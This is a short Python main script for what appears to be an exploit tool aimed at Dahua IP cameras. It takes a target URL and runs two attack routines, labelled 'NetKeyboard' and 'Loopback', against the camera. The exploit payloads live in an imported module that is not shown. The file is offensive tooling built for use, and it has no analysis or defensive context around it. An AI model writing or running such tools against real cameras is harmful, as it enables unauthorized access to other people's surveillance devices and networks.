main.py

import sys
import httpx
import logging
from packages import dahua
from packages.cli import parse_arguments
from urllib.parse import urlparse
import halo


def main():
    args = parse_arguments()
    url = urlparse(args.url)

    ip = f'{url.scheme}://{url.hostname}'
    port = url.port

    camera = dahua.Camera(ip, port)

    with halo.Halo(text=f"Attempting to exploit {url} with 'NetKeyboard'...", spinner="dots") as spinner:
        try:
            result = camera.netkeyboard_exploit()
            if result:
                spinner.succeed()
        except httpx.ConnectError as err:
            spinner.fail(
                f'Connection error at {err.request.method} {err.request.url}'
            )
            logging.error(err)
            sys.exit(1)
    with halo.Halo(text=f"Attempting to exploit {url} with 'Loopback'...", spinner="dots") as spinner:
        result = camera.loopback_exploit()
        if result:
            spinner.succeed()


if __name__ == '__main__':
    main()